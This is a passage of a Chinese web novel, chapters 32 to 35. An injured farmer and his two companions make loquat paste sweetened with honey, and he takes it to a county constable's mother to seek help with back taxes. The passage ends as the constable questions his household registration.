谢言将头放在木桶上,头昏昏沉沉的,很快眼睛都睁不开了。
“谢言哥。”
在谢言快要闭上眼睛的时候听到了沈念白急切的喊声,他看到沈念白和柳梦寒急急朝他跑了过来,他心一松就晕过去了。
醒来时他已经在家里的竹床上躺着了,他觉得两只手疼得厉害,他抬起手来看,肿得跟猪蹄似的,空气中弥漫着浓郁的枇杷膏的香味。
谢言从床上坐了起来,他想出门但是手太肿连门栓都打不开,于是他只能喊了声,“念白。”
话音一落就听见沈念白欣喜的声音,“来了。”
很快门就开了,门口的沈念白看到谢言眼眶都红了,“谢言哥,你现在感觉怎么样了?”
谢言回道:“除了手有点痛,其他的倒是没什么。”
闻言沈念白明显的松了口气,他道:“谢言哥,我们已经在熬枇杷膏了,你去看看可不可以。”
其实谢言也没有自己熬过枇杷膏,只是大概知道怎么做,本来这事交给沈念白完全没问题的,可事关重大,他还是有些不放心,便与沈念白一起去看了。
柳梦寒在看火,见谢言过来,也忙问道:“谢言哥,你还好吗?”
谢言道:“好多了。”
柳梦寒道:“那就好,你不知道我们看到你晕过去的时候人都要吓傻了。”
谢言没有多说转了话题问道:“枇杷熬多久了?”
柳梦寒道:“一个时辰了。”
锅上烟雾弥漫,谢言凑近看了,水分还有些多。“搅一搅我看看。”
沈念白上前用锅铲搅拌着,果肉还没有熬成酱,谢言道:“还得熬一阵。”
柳梦寒应声,“行。”
沈念白问道:“那蜂蜜什么时候加?”
谢言问道:“蜂蜜从蜂巢里取出来了吗?”
这话把沈念白问倒了,他以为直接就可以吃了,“还要取出来吗?”
谢言道:“要把蜂窝取出来。”
沈念白道:“哦,我去取。”
“嗯。”
32. 第 32 章
谢言现在这样子是干不了活了,就举着两只手在旁边给沈念白和柳梦寒当监工兼任指挥。
对于来之不易的珍贵蜂蜜沈念白很小心,在谢言的指挥下小心翼翼的将蜂巢拿出来,用刀割掉表皮的蜡封,在将蜂巢里的蜜蜂一点一点的取出来。
没有工具取蜜很慢,谢言是个急性子看得着急只恨自己不能上手帮忙,又走到灶前去看锅里的枇杷膏,枇杷膏小火熬制,一时半会也没有变化。
沈念白见谢言跑来跑去的,怕他累着,就说:“谢言哥,要不你去屋里睡会儿吧。”
谢言跑了几趟,头又有点晕了,他突然想起在现代的时候学过被蜜蜂蛰了要把毒针给拔出来,于是他问:“给我把毒针拔出来了没有?”
沈念白头也没抬,只是回道:“拔了。”
谢言松了一口气,“那就行。”但头还是有点晕,于是真回屋躺着去了,谢言就没有睡不着的时候,一躺到床上马上就睡着了。
“谢言哥,蜂蜜全取出来了。”
谢言睡得迷迷糊糊的,听到沈念白的声音一下就坐起来,他下意识的要揉眼睛,一动才想起手被蛰了,而且现在比之前还要肿了,谢言看着肿得跟发面馒头一样的手,心里发愁,这明天可还怎么去县城啊。
谢言心里发愁但面上一点看不出来,出门一看天都已经黑了,柳梦寒还坐在灶前,人都被熏黄了。
柳梦寒道:“我觉得差不多了,你看看。”
谢言走过去一看,天黑了全靠火光,可火在灶里,看得并不是很清楚,只能看到很大的气泡从粘稠的枇杷膏里升出来又破开。
谢言道:“你搅搅我看看。”
柳梦寒拿锅铲搅了搅,已经十分粘稠了,谢言也觉得差不多了,“行,盛起来吧。”
柳梦寒问道:“不放蜂蜜?”
谢言回道:“先冷一冷,在将蜂蜜拌进去,不然温度太高了,把蜂蜜的营养都破坏了。”
柳梦寒和沈念白都听不懂谢言说的后半段,但这也不妨碍他们知道该怎么做。
柳梦寒将枇杷膏盛了起来放在一边。瓦陶罐,今天谢言刚从系统商城里买的,沈念白对于家里偶尔会多出来东西已经见怪不怪了,甚至连问都没有问。
枇杷膏熬好了,沈念白又和柳梦寒一起开始做饭,柳梦寒去河边洗菜,沈念白在家做饭,谢言就坐在旁边看着。
趁柳梦寒没在,沈念白问了谢言,“谢言哥,咱们以后要扩种,是不是要请人啊?”
谢言回道:“应该是这样的。”
沈念白商量着说道:“那能不能把梦寒留下来啊?”
谢言看出来沈念白很喜欢柳梦寒,用一见如故来形容都不为过。沈念白这些年也没个朋友,柳梦寒来的这两天沈念白话都多起来了,谢言自然是愿意柳梦寒留下来的,不过,“他愿意留下来吗?看他的样子不像是会做农活的。”
沈念白道:“他愿意,他说只要能留下来他可以不要工钱。”
谢言玩笑道:“现在就算要工钱,我也拿不出来。”
“那就先留下吧,工钱不工钱的,以后在说。”
得到谢言的肯定回答,沈念白当即就开心了,“谢谢哥。”
说话间柳梦寒回来了,“说什么呢,这么开心。”
沈念白忙不迭的与他分享,“谢言哥答应让你留下来了。”
柳梦寒欣喜的睁大了眼睛,“真的?”
沈念白点头,“真的。”
柳梦寒转头看向谢言,诚恳的说道:“谢谢哥。”
谢言道:“你留下来是我们占了你便宜,你这样像是你占了我们便宜似的。”
柳梦寒道:“你们愿意收留我,可不是我占了大便宜嘛。”
谢言笑了笑,没有与他争辩。柳梦寒也没有在跟谢言说话,扭头去和沈念白一块做饭了,两人倒是一直嘀嘀咕咕个不停,夸张的语调谢言听着觉得有些好笑。
今天忙得太晚了,晚饭就做得简单,炒了丝瓜和白菜,一盆水煮毛豆就是今天的晚饭了。
谢言手不方便,筷子用不了连勺子也用不了,最后还是沈念白给喂的。谢言长这么大,还是头一次让人喂饭,尤其是柳梦寒在旁边要笑不笑的,看得人更不自在了,于是谢言吃了个半饱就没吃了。
沈念白还有些诧异,“是不是还是不舒服,怎么吃这么少?”
谢言道:“哦,我下午睡多了不怎么饿。”
今天下午谢言睡了两个时辰,确实比以往多多了,沈念白也不疑有他,这才自己吃起了饭。
谢言松了一口气,这么大人了让人喂饭真的太别扭了。
柳梦寒吃完了,起身去看了枇杷膏,摸了摸罐子,已经不烫手了。
“谢言哥,不烫人了。”
谢言道:“那把蜂蜜拌进去吧。”
柳梦寒问道:“要拌多少?”
沈念白也问道:“这些要全部送给王捕头吗?”
因为不知道送多少合适,沈念白和柳梦寒就摘了一大背的枇杷,全给熬了,一大锅熬成半锅,半人高的大瓦罐都装满了,最起码都得有个五十来斤。
谢言道:“不用,装个十来斤就差不多了,多了就不稀奇了,之后给钟大哥送点过去,剩下的咱们自己吃。”
沈念白不赞同他的说法,“这么好的东西还是留着送人,咱们吃了太浪费了。”
谢言道:“这东西都是咱们做出来的,咱们吃了最不浪费了。你要是喜欢咱们每年都可以做。”
沈念白道:“枇杷膏可以熬,不加蜂蜜。”
谢言道:“头一回采蜜没有经验,采多了有经验了就不会被蛰了。”
沈念白没有去采过蜜,也分辨不出来谢言说的是真的还是假的,倒是柳梦寒好奇的问道:“谢言哥,你是怎么把蜜采到的?”
谢言回道:“也没有什么稀奇的,用烟一熏蜜蜂就会暂时离开,我估计我今天就是没有熏到位才会被蛰,下一次要多熏一会儿,把所有的蜜蜂都熏走。”
沈念白生怕谢言还要去,赶紧就打了岔,“这么多够我们用好久了,不要再去了。”
谢言笑
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道:“我就说说嘛。”
沈念白重重的看了他一眼,没有在说话了,谢言看出他担心,与他说道:“你安心吃饭吧,我最近肯定不会在去掏蜂蜜了。”
此时柳梦寒把枇杷膏分出来了,他问道:“十斤要加多少蜂蜜?”
谢言也没有做过,于是他说:“慢慢加吧,加到甜度够就行。”
柳梦寒也拿不准什么叫甜度够,“那我先慢慢加,你等会来尝。”
“好。”
沈念白问道:“谢言哥,你打算什么时候给王捕头送去啊?”
谢言道:“此事宜早不宜迟,我打算明天一早就给王捕头送去。”
沈念白猜到他会这样说,“可你的手伤得这么严重,明天我给送去吧。”
谢言摇头,拒绝了他的好意,“且不说你不知道进城的路,就算你去了县城王捕头的母亲也不认识你。”
谢言说得有道理,沈念白也知道此事不仅仅去送枇杷膏这么简单,最主要的是要王捕头帮忙,就算让他去他也不一定办得成,但他又实在担心谢言的身体,“要不就晚两天去?”
谢言还是摇头,“就明天去,放背篓里背着去不碍事的。”
沈念白知道他劝不住谢言,于是也不在劝他了,只是说:“那明天我跟你一起去?”
谢言赶紧制止了,“哎,可别,就你这长相去到县城指定要引起骚乱的。”
沈念白没有听出他夸奖的意思,让微微垂下头,“哦,我知道了。”
谢言见他的反应不对,赶紧找补道:“我给你说,今天回去的路上,钟大哥说你和梦寒长相万里挑一,还想把他的朋友介绍给你们认识呢?”
沈念白心里微微一急,连忙问道:“那你怎么说的?”
谢言实话实说,“我说这事得要你们自己同意,我做不了主。”
听到谢言的话沈念白微微松了口气,他试探的问道:“他没有说给谢言哥介绍吗?”
谢言被他逗笑了,“我一个大老粗,他的朋友都是文明人,怎么可能看上我。”
沈念白追问道:“如果..看得上呢?”
谢言笑着道:“那也没用,我暂时没有想成亲的打算,我现在就想把荒山开出来,种出粮食和果子卖钱把咱家建起来。”
沈念白跟着他的畅想说道:“我.我也是。”
谢言望着他笑了笑,“五年前就想建房子了,结果到现在还没影。”
沈念白看着不远处堆着的木材,微微勾唇,“有竹屋住也挺好的。”
他的声音太小了,加上柳梦寒又在说话,所以谢言并没有听到他的话。
“谢言哥,你来尝尝味道可以不?”
谢言起身朝他走过去,沈念白出于好奇也跟着他走了过去。柳梦寒将筷子递给了沈念白,“你蘸点给谢言哥尝尝。”
沈念白将碗放下,用筷子头蘸了一点喂给了谢言。
只有淡淡的甜味,谢言甚至怀疑是枇杷自带的甜味,一点蜂蜜的味道也没有吃出来。
“太淡了,在加。”
33. 第 33 章
沈念白也尝了尝,“是没有蜂蜜的味道。”
柳梦寒又舀了一勺蜂蜜加进去,“再尝尝。”
谢言看着他手里的小勺子,“你那勺子也太小了,拿个碗来舀。”
柳梦寒问道:“那万一加多了?”
谢言道:“本来咱们就是送人的,自然是加得越多越好。”
有了谢言这句话柳梦寒心里就有了底,立马就换了个大碗,一碗一碗的舀,看得沈念白肉痛,等舀到第三碗的时候他出了声,“差不多了吧。”
柳梦寒停了下来,谢言道:“我尝尝。”
沈念白又用筷子蘸了一点枇杷膏让谢言尝了,一股浓郁的枇杷和蜂蜜的味道在谢言的嘴里散开,甜的有些腻人。
谢言道:“可以了,封起来吧。”
“好。”柳梦寒开始封瓦罐,谢言问了沈念白:“树上还有枇杷吗?”
沈念白回道:“还有,只是不怎么大了。”
谢言思忖了片刻,“没事,明天早上摘点,我一起给王捕头送去。”
沈念白点头,“要多少?”
谢言回道:“十来斤差不多。”
沈念白觉得找人家办事,十斤太少了,“树上还有不少,挑一挑还是能摘不少的。”
谢言道:“一次送太多,也吃不了那么多,放久了也不新鲜,以后经常去送就是。”
沈念白微微皱眉,“经常去送?”
谢言知道他在担心什么,笑着道:“咱们也不用自己去,可以让钟大哥帮忙送去。”
沈念白这才放心了,“好。”
谢言见沈念白的饭还没吃完,“快吃饭吧,都凉了。”
“嗯。”
“封好了。”柳梦寒的声音响了起来,谢言看了过去,与他说道:“把瓦罐外面洗干净,沾了甜的要招蚂蚁。”
柳梦寒应声,“好,我拿到河边去洗。”
谢言叮嘱道:“天黑了,走路当心些。”
沈念白听到他俩的话,生怕一个不小心把瓦罐摔了,赶紧说道:“还是打水回来洗吧。”
柳梦寒道:“好,我去打水。”
“我跟你一起去。”沈念白几口刨完了饭,端着锅碗和柳梦寒一起去了河边,谢言虽然下午睡了好一阵但现在瞌睡又来了,于是又去牛棚旁睡觉了。
“谢言哥?”
刚睡着就听见沈念白远远的在喊他,谢言睁开眼睛迷迷糊糊的应了一声,“嗯,怎么了?”
听到谢言的声音沈念白快步跑到了牛棚,看到谢言躺在地上,“谢言哥,你去床上睡吧,我跟梦寒说好了,今天晚上我们睡牛棚。”
谢言起都没起来,“不用,赶紧去睡觉吧,我都睡着了。”谢言说完就闭上了眼睛,沈念白看着他又喊了一声,“谢言哥。”
谢言没有在说话,沈念白见状也知道劝不动他,于是也没有在劝他,只是问道:“冷不冷,我给你抱床被子来?”
谢言回道:“不冷,稻草暖和,去睡吧,明天还要早起。”
沈念白应了一声,就转身走了,谢言睁开眼睛看着他的背影重重的打了呵欠,重新闭上眼睛睡觉了。
谢言晚上吃少了,睡到半夜肚子打雷,把他给饿醒了,谢言起身去了屋前灶上,他记得那盆毛豆还剩了不少,翻翻找找很快就找到了,果然还剩了大半盆。
谢言的手不方便,于是将盆放在凳子上,自己坐在地上,够着脖子伸到盆里去吃毛豆,毛豆在嘴里剥开将皮吐了,非常的方便。
吃了一会儿,谢言听到屋内好像有点动静,他扭头过去看,但又没有听到动静,他觉得可能是在吹风,也就没管了。
就在谢言伸头去盆里吃毛豆的时候,门突然打开,沈念白和柳梦寒抄着大木棍冲了出来,直直的往谢言脑袋上招呼去,谢言听到动静抬头看来已经是晚了,沈念白一杆子打到了他的肩膀上。
谢言吃痛的叫了一声,“哎哟,好痛。”
本来要打的柳梦寒听到声音,赶紧收了手。天黑黑的,谢言又坐在檐下月光也照不到他,连脸都看不清楚,但沈念白一听就知道是谢言的声音,赶紧把棍子扔了,忙不迭的蹲下去扶他,“谢言哥,对不起,我不知道是你。你伤到哪儿了?”
谢言手又肿又痛,弯也弯不了,想去摸摸肩膀也不行,但他看着沈念白担心的样子,咬着牙说道:“没事。”
沈念白又内疚又担心,“怎么可能没事,伤到哪里了,我看看。”
谢言知道骗不过沈念白,就实话说了,“肩膀。”
沈念白一听上手就去扒谢言的衣裳,柳梦寒见状连忙就转身进屋了,“我先进去了,你们有事就喊我。”
沈念白扒开谢言的衣裳,但是天实在太暗了,他根本就看不清楚,“看不清楚,我扶你去那边去。”
谢言道:“除了有点痛真的没啥事,你别担心了。”
沈念白怎么可能不担心,他用了多大的力他是知道的,他想起刚才打谢言那一下心里就难受,“谢言哥,对不起。”
谢言道:“没事,我原谅你了。回去睡觉吧,我也吃饱去睡觉了。”
沈念白这才问道:“还有饭,我给你热一热。”
谢言道:“不用,我也吃得差不多了,吃多了早上吃不下饭了。”
“那好吧。”沈念白去扶他,“我扶你过去。”
谢言失笑,“我是肩膀痛,脚又没事,能走不用扶。”
沈念白松了手,谢言起身,“天都快亮了,快去睡吧。”
沈念白低低的应了一声,谢言也没有在说什么,走到牛棚旁边的草窝睡觉了,刚才还不觉得,这一睡下去肩膀火辣辣的疼,他低声的“哎哟”了两声草草的睡过去了。
第二天谢言早早就醒了,身上痛得他睡也没睡好,不过沈念白和柳梦寒比他醒得更早,他起来的时候两人就已经上山摘枇杷了。
谢言坐在门前,用手挑开了衣服,右边肩膀又青又紫,幸好是没有破皮,不然衣服都穿不上了。
谢言稍微戳了戳肩膀,疼得他眼泪都快出来了。这等会可怎么去县城啊?
谢言在家愁眉苦脸的想了一阵,沈念白和柳梦寒已经摘好枇杷回来了,沈念白远远的看见谢言,大声的喊他,“谢言哥。”
谢言下意识的回道:“诶。”
沈念白急急的跑
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了回来,跑到谢言面前,“谢言哥,我看看你肩膀上的伤。”
谢言往后缩了缩不给他看,“没事,就是青了点。”
“我看看。”沈念白去拉他的衣服,谢言的衣服刚才拉开了就没有系紧,一拉就拉开了,露出骇人的青紫痕迹,沈念白一看就呆住了,声音小得几乎听不见了,“谢言哥,对不起。”
谢言赶紧将衣裳拉上了,“看着吓人,但不怎么痛,你别担心。”
后面回来的柳梦寒看到两人都不大对劲,赶紧问道:“这是怎么了?”
谢言道:“没事,就是肩膀有点青了。”
柳梦寒趁机问道:“对了,谢言哥,你昨天晚上干嘛呢?我们还以为是熊来了。”
谢言解释道:“睡饿了,起来找到盆毛豆。”
柳梦寒继续问道:“那你怎么像熊一样吃东西啊?”
谢言朝他举起了自己的双手,柳梦寒瞬间就明白了,“这可真是误会大了,我们还在门边看了一阵,确定是熊才出去的,没想到..”
谢言道:“怪我,我是听到屋内有动静的,但没有当回事,我应该说话的,要是我说了话就没这档子事了。都过去了,就别说了,做早饭吧。”
沈念白没有说话,只是走到灶台边开始做饭,柳梦寒自然是过去一起做。
谢言起身看到他们摘回来的枇杷,确实比之前的要小一些,但是不对比的话也看不太出来。谢言问道:“你们尝过了没有,这枇杷甜吗?”
沈念白回道:“尝了,甜的。”
谢言点了头,甜就行,个头小点不碍事。
谢言站在院前看着面前绿绿葱葱的庄稼,心里着急,这么多庄稼他又受了伤不知道耽误了多少事。
今天进城先去天悦酒楼,把钟程台的定金拿了交了税还有剩的话就去拿点跌打损伤的药,这一直干不了活太愁人了。
“谢言哥,吃饭了。”
沈念白的声音将谢言纷乱的思绪拉了回来,“诶。”
吃完饭,谢言就准备去县城了,一直没怎么说话的沈念白突然说道:“谢言哥,我跟你一起去。”
谢言刚要拒绝,就被柳梦寒抢了话,“是啊,谢言哥,你身上有伤背不了重物,还是我们背去。”
谢言还是不放心,沈念白继续道:“我们不进城,就在路上等你。”
柳梦寒也在旁边帮腔,“谢言哥,你放心吧,我们绝对不会给你添麻烦的。”
谢言想了想也同意了,只是有一点,“你们别进城,有什么想买的我给你们买回来,就在山路上等我。”
沈念白重重的点了头,“嗯。”
谢言看向了柳梦寒,柳梦寒也赶紧应声,“是,你放心,我们绝对不乱走。”
“装上东西,走吧。”
沈念白和柳梦寒将枇杷捡到篮子里,装了两篮子,还有一罐枇杷膏,全部放在背篓里。枇杷膏放在最底下,两篮枇杷放在上面,又摘了两片荷叶将背篓遮得严严实实,三人这才往县城而去。
这还是沈念白第一次离开竹屋,走出老远后他突然回头看去,竹屋变成了一个小小的点,在巍峨的深山里毫不起眼。
34. 第 34 章
沈念白和柳梦寒两个人从来没有走过这么远的路,最开始还能跟上谢言的脚步,慢慢的就跟不上了,谢言为了等他们也只能放慢了脚步。
越走越慢,走到县城的时候都快中午了。走到山路与官道的分叉口,谢言就停了下来,“过去就是官道了,你们俩就在这里等我吧。”
沈念白和柳梦寒累得气喘吁吁的,说话都不利索了,沈念白应了声,“好。”
柳梦寒将沈念白背上的背篓端下来,换给谢言背上,一背上谢言就感觉到肩膀上一股钻心的疼痛,但他强忍着没吭声,咬着牙说道:“你们在这里休息,一定不要到处乱走,我尽快把事情办完。”
沈念白怕他着急坏了事,就说道:“谢言哥,你不要着急,我们在这儿多等会儿也没有关系的。”
柳梦寒突然问了一句,“我们不能先回去吗?”
这句话把谢言和沈念白都问倒了,对啊,回去的时候又没有东西了,他们根本不用在这里等着了。
“对啊,你们赶紧回去吧。”谢言肩膀痛得厉害,“我也走了。”
谢言说完就走了,沈念白和柳梦寒倒是没有急着走,他们走得实在太累了,就在原地休息了一会儿。
谢言进了城,来到天悦酒楼,小二看到他迎上来问道:“又来找掌柜的?”
谢言问道:“钟大哥在吗?”
听到谢言的称呼,小二的脸上浮现出一瞬的惊愕,刚要回话就听到楼上张佳华的声音传来,“谢言,你来了,快上来。”
谢言朝他笑了笑,“张哥。”
小二脸上的惊愕之色越发明显了,谢言错身上了楼。
到了楼上,张佳华才看到谢言的手臂,忙问道:“你的手怎么回事?”
谢言回道:“昨天在山上被蜜蜂蛰了。”
张佳华没有想到谢言是去掏蜂蜜被蛰了的,他还问道:“有蜜蜂,是不是也有蜂蜜啊?”
谢言笑着回道:“张哥想去采吗?”
张佳华看着谢言的手,“算了,你天天在山里都被蛰得这么严重,我要是去了,岂不是要被蛰死了。”
说话间就走到了钟程台房间门口,张佳华敲了门,“钟哥,谢言来了。”
“进来。”
张佳华推开门,朝谢言说道:“进去吧,我去把契约拿过来。”
谢言道了声谢,进房间喊了声,“钟大哥。”
钟程台还是在下棋,此时将棋子放下,“坐下说,你的手是怎么了?”
谢言又将刚才与张佳华说的话重新说了一遍,钟程台问道:“看过大夫了没有?”
谢言回道:“已经好多了。”
“蜜蜂多有毒,还是看看大夫稳妥些。”钟程台道,“等会我让佳华带你去医馆。”
谢言兜里一个铜板都没有,哪里看得起大夫,连忙拒绝了,“真不用了,钟大哥。我今天来是第一个就是来签契约,签了约我去找找王捕头,看怎么处理补税的事情。”
钟程台看着他的手,“可你的手都这样了,还能签字吗?”
谢言不知道能不能签,但要签了才能有钱去补税,所以今天无论如何都得签上。
“没问题的。”
说话间张佳华把契约拿进来了,他也有钟程台一样的疑问,“谢言,你的手肿成这样能签字吗?”
谢言道:“可以的。”
张佳华将契约递给他,“那你先看看内容,没问题就签字吧。”
这份契约关系重大,谢言看得很仔细,几乎是一个字一个字看的,看了一炷香的时间才看完,“没问题,都是按我们谈的来的。”
张佳华道:“那就签字吧,我去磨墨。”
张佳华磨好了墨,喊谢言过去签字,谢言和钟程台前后走到书桌边。张佳华将毛笔先递给了谢言,谢言接了过来,他的手指肿得厉害,使劲弯感觉皮肤都快绷裂了,但他还是咬着牙写下了自己的名字。字迹歪歪扭扭的着实算不上好看,尤其是跟旁边钟程台的字比起来就显得更难看了。
签了字按下手印,契约就完成了。一式两份,张佳华给了一份给谢言,“这份给你,收好。”
谢言手不方便,张佳华就给他折了起来。“谢谢。”谢言道了谢将契约接过来放进了怀里。
钟程台喊了张佳华,“去取二十两银子给谢言当定金。”
谢言有些讶异,因为他们契约写得定金是十两。
“钟大哥是不是说错了,我们约定的定金是十两。”
钟程台回道:“你现在正是用钱的时候,拿着吧。”
谢言心里感激,忙道:“谢谢钟大哥。”
钟程台朝他点了点头,“我相信你,以后肯定能发展起来的。你要是遇到了困难一定要跟我说。”
两人闲聊了两句,张佳华就把银子拿来了,一小袋子大小不一的碎银子,“我想着碎银子好花一下,就给了你拿的碎银子,你要是想要整银我就去给你换。”
“就这样吧。”谢言回了一句,就朝钟程台告辞,“钟大哥,我就先走了。”
钟程台道:“事情办好了来知会我一声。”
谢言道:“好的。”
钟程台点了点头,又与张佳华说道:“带谢言去看看大夫。”
张佳华帮着谢言把背篓背上了,与他一道出了门,“转角就有一家医馆。”
谢言还是不想去浪费钱,他说道:“张哥,你回去吧,我自己去就行了。”
张佳华笑道:“没事,反正我现在也没有别的事,陪你过去一趟呗。在说了,掌柜的吩咐了我也不敢偷懒啊。”
谢言骗不过他只能实说实说,“张哥,我觉得我已经好了,不用去看大夫了。”
张佳华道:“还是去看看吧,拿点药花不了多少钱,至少人不遭罪。”
谢言实在拗不过他,只能跟着他去了医馆。医馆的人认识张佳华,见他进门就招呼他,“张二掌柜的,您怎么了?”
张佳华道:“不是我,是我这个小兄弟,被蜜蜂蛰了。”
“把背篓放下来。”张佳华帮着谢言把背篓放了下来。谢言坐到了诊台上,大夫看起来三十来岁,模样挺和善的,他看着谢言的双手,“问题不大,毒针都拔出来了,擦点药两三天就能消肿。”
张佳华问道:“两三天太久,有没有一天就消肿的药?”
大夫看向张佳华说道:“已经是最好的药了
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,再快的没有了。”
“两三天挺快的了,我之前被蜜蜂蛰了五六天才消。”谢言说完又跟大夫说起了他肩膀的伤,“大夫,我肩膀昨天晚上被砸了一下,你看看给拿点药。”
大夫撩开他的衣服,看到他肩膀上不仅有砸出来的淤青,还有背篓压出来的勒痕,“你这伤得不轻啊。”
谢言碍于张佳华在这儿,于是就说:“当时还挺痛的,现在倒是好多了。”
张佳华道:“你肩膀有伤怎么不说呢,我替你背这大背篓啊。”
谢言道:“现在不怎么痛了。”
大夫检查了他的肩膀,确定没有伤到骨头后就给拿了跌打损伤的药膏,“每天早晚擦一遍,有时间揉一揉更好。”
谢言将两种膏药收好后,“大夫,一共多少钱?”
大夫回道:“十文钱。”
谢言拿钱,但是他的动作太慢,张佳华抢先一步给他付了,谢言赶紧出声制止,“张哥,我自己来就行了。”
张佳华笑道:“掌柜的让我带你来看病,怎么能让你自己付钱呢。”
谢言觉得十分过意不去,但钱都付了,多说显得矫情了,就说了一句,“谢谢了。”
张佳华道:“都是兄弟嘛。”说罢与医馆学徒说道,“给我们把药上了呗。”
“哦,好。”学徒应了一声就朝谢言走了过去,“把药给我吧。”
谢言将药给了他,学徒挖了药膏给他擦了手臂,又按摩着擦了肩膀。药效确实好,一擦上去谢言就感觉疼痛减轻了许多。
“谢谢了。”
“不客气。”
从医馆出来,张佳华不放心谢言的肩膀,非要送他,谢言拗不过他,只得说自己要去找王捕头。
张佳华问道:“你去衙门?”
谢言回道:“不是,去王捕头的家。”
张佳华想了想,“王捕头的家离这儿不近吧,在说了你找王捕头帮忙这个时辰他也没有在家吧。”
谢言如实说道:“我是想先去给王捕头的母亲送枇杷,通过她老人家引荐再去找王捕头的。”
张佳华垂眸仔细想了一下,“王捕头的母亲很怕给他儿子惹麻烦,你想让她开口引荐恐怕不容易,你还不如等王捕头下了值回家后在送过去,这样既借了王夫人的东风,又不会让她难做。”
谢言对王捕头的母亲一点不熟,自然是选择听张佳华的,只不过现在才刚过午时,要等到王捕头下值,起码还要等两三个时辰。
张佳华道:“走吧,去咱们天悦酒楼吃了午饭,在休息一会儿,下午再去送东西吧。”
谢言没有更好的去处,“那就麻烦张哥了。”
张佳华笑道:“都是兄弟,别那么客气。”
张佳华替谢言背了背篓,“哎哟,看你背着轻轻松松的,这背篓还挺重。”
谢言道:“我每天背惯了,张哥,还是我自己来吧。”
张佳华拒绝了他,“走吧,这才几步路,我替你背过去。”
谢言也没有坚持,只是又道了谢,“多谢张哥。”
“你看看你又来了,不把我当兄弟是不是?”
“没有没有,我以后不说了。”
35. 第 35 章
谢言在天悦酒楼待了一下午,还睡了一觉,起来的时候双手已经没有之前那么肿了,肩膀上的痛疼也减轻了许多。
张佳华本来还想留他吃晚饭的,但是谢言怕耽误得太晚就拒绝了。从天悦酒楼出来已经是傍晚了,火红的残阳挂在天边像一个腌制得刚刚好流油的咸鸭蛋黄,谢言背着背篓迎着夕阳敲开了王捕头的家门。
此时才刚刚到衙门的下值时间,王捕头还没有到家,来开门的还是王捕头的母亲。她一看到谢言眼睛就亮了,热情的招呼他,“小伙子,进来坐。”
谢言客气的喊了一声,“王夫人。”
王大娘笑道:“我就一个老妇人,担不起你这一声夫人,我儿子看着比你大不了多少,你喊声大娘就是了。”
谢言顺从的喊了一声,“王大娘。”
王大娘领着他往屋里走,边走边问,“吃过晚饭了没有?”
谢言回道:“吃过了,我今天到天悦酒楼卖果子,掌柜的人好,留了吃了饭。”
王大娘笑着问道:“我没记错的话天悦酒楼的掌柜是叫钟程台吧?”
谢言道:“是。”
王大娘道:“长得一表人才,心地也好。”
谢言笑着回道:“是啊。”
走到檐下,谢言就停了下来,“王大娘,我鞋脏就不进屋了,我给您带了些枇杷,看给您放什么地方?”
王大娘道:“什么脏不脏的,进来喝口水。”
“谢谢。”谢言没有多说就跟着王大娘进了堂屋,谢言将背篓放在地上,见王大娘在他倒水,赶紧上前,“王大娘,我自己来吧。”
王大娘道:“坐下,你远来是客。”
谢言虽然想帮忙,但现在又不敢违逆王大娘,怕引起她的反感,他上辈子这辈子都没有跟当官的打过什么交道,到底还是紧张的。
王大娘只是病弱,但年龄并不算大,手脚还是很麻利的,一点也不抖,她给谢言倒了杯水,“你上次给我送来的枇杷真好,我还给我几个姐妹分了,她们都说好吃。你下次在来卖果子,多准备些,我也买。”
谢言赶紧道:“您喜欢就好,我山上果子多得吃不完,您想吃我经常给您送就是了。”
王大娘道:“不说种果子辛不辛苦,就是从你家来县城走也得走一阵,辛苦钱总是要的。”
“不辛苦,我是顺路过来。”谢言说着就转移了话题,“王大娘,这些天枇杷大量的熟了,放也放不住,我们就自己做了点枇杷膏,我那天听您有点咳嗽,就带了些给您。”
谢言说完就去背篓里拿枇杷,之前他的手一直垂着,王大娘也没有看到他手上的伤,现在他去拿东西就看到了,连忙问道:“你这手是怎么回事?”
谢言将两篮枇杷拿了出来,最后将枇杷膏抱了出来,王大娘怕他摔了,伸手接了一下,放在了桌子上。
谢言这才解释道:“掏蜜蜂窝的时候被蜜蜂蛰了。”
王大娘道:“哎哟,你这孩子,蜜蜂多哲人,还去掏蜂窝。”
谢言笑着解释道:“我之前问过医馆的大夫,枇杷膏里加蜂蜜治疗咳疾最好。”
王大娘惊讶的看向了装枇杷膏的罐子,“你把蜂蜜加这里面了?”
谢言点了头,“不知道合不合您的胃口。”
王大娘感动不已,“蜂蜜多珍贵的,你要是拿去卖一斤一两金也卖得起啊,这太珍贵了,我不能要。”
谢言赶紧道:“这是我们的一片心意,王大娘,您务必要收下,在说了在珍贵哪有人珍贵啊,您要是喜欢吃,等吃完了,我又给您做就是了,山上的东西值不了几个钱,但什么都有。”
王大娘道:“哎哟,你这个孩子,你的手去看过了没有?”
谢言回道:“看过了,大夫说没什么事,只是看着吓人,擦药两三天就好了。”
王大娘道:“我听说蜂子都是有毒的。”
谢言道:“马蜂有毒,蜜蜂还好,毒性不大,把毒针挑出来就好了。”
王大娘道:“这太危险了...”
话还没有说完,王捕头就推门进来了,他还穿着官服,一副正气凛然的样子,“什么危险?”
王大娘回道:“我们在说谢言去掏蜂窝被蜜蜂蛰了。”
王捕头皱眉看先谢言,“你怎么在这儿?”
王大娘回道:“谢言是来送枇杷膏的。”
王捕头自然也看到了谢言的手,“你好端端的去掏蜂窝干什么?”
谢言回道:“取蜂蜜做枇杷膏。”
随着他的话王捕头的视线扫到了桌子上的枇杷膏,王捕头能坐到捕头这个位置心里自然是清楚谢言这么大费周章必然是有事相求的,三言两语就将王大娘支开了,开门见山的问道:“说吧,什么事?”
谢言道:“实不相瞒,我前日去找天悦酒楼的钟掌柜推销我的枇杷,在言谈之中我才知道原来即便开垦荒山也是要交税的,我此来别无他事,只是想问问捕头大哥,这个补税应该怎么补?”
王捕头听到他的话丝毫不意外,“实话跟你说,你不来找我,这几天我都要找你去。昨天我去查了你的户籍,你不仅没交税连户籍都没有。”
王捕头说话声音不大,但威严十足,听得谢言心头一跳,他连忙解释:“是这样的,我一岁的时候被野狼叼走,家里人肯定以为我死了,所以就没有给我上户口。”
王捕头对他的话却是不信,“那你是什么时候被找回去的呢?”
谢言回道:“在我十四岁的时候,被村民发现,才知道自己不是野狼的孩子,但我的亲人嫌弃我被野狼养大粗鄙不堪,在族长的见证下给了我三座荒山的地契与我断绝关系,从此以后我就去了荒山。”
王捕头瞧着他,声音微冷,“照你所说,你被野狼养大,后来又独自生活在荒山中,理应愚昧不开化,但我见你说话条理清晰,可不像个不谙世事的人。”
